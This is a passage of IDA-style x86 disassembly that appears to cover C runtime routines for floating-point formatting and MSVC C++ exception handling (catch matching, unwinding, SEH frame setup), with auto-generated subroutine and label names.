		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB30C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB314, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB30C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB314, ecx
		setl	cl
		mov	byte_4DB318, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB314, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB310, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB310, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB310, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB310, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB31C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB320
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB324, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB31C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB320
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB31C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB320, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB31C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB320, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
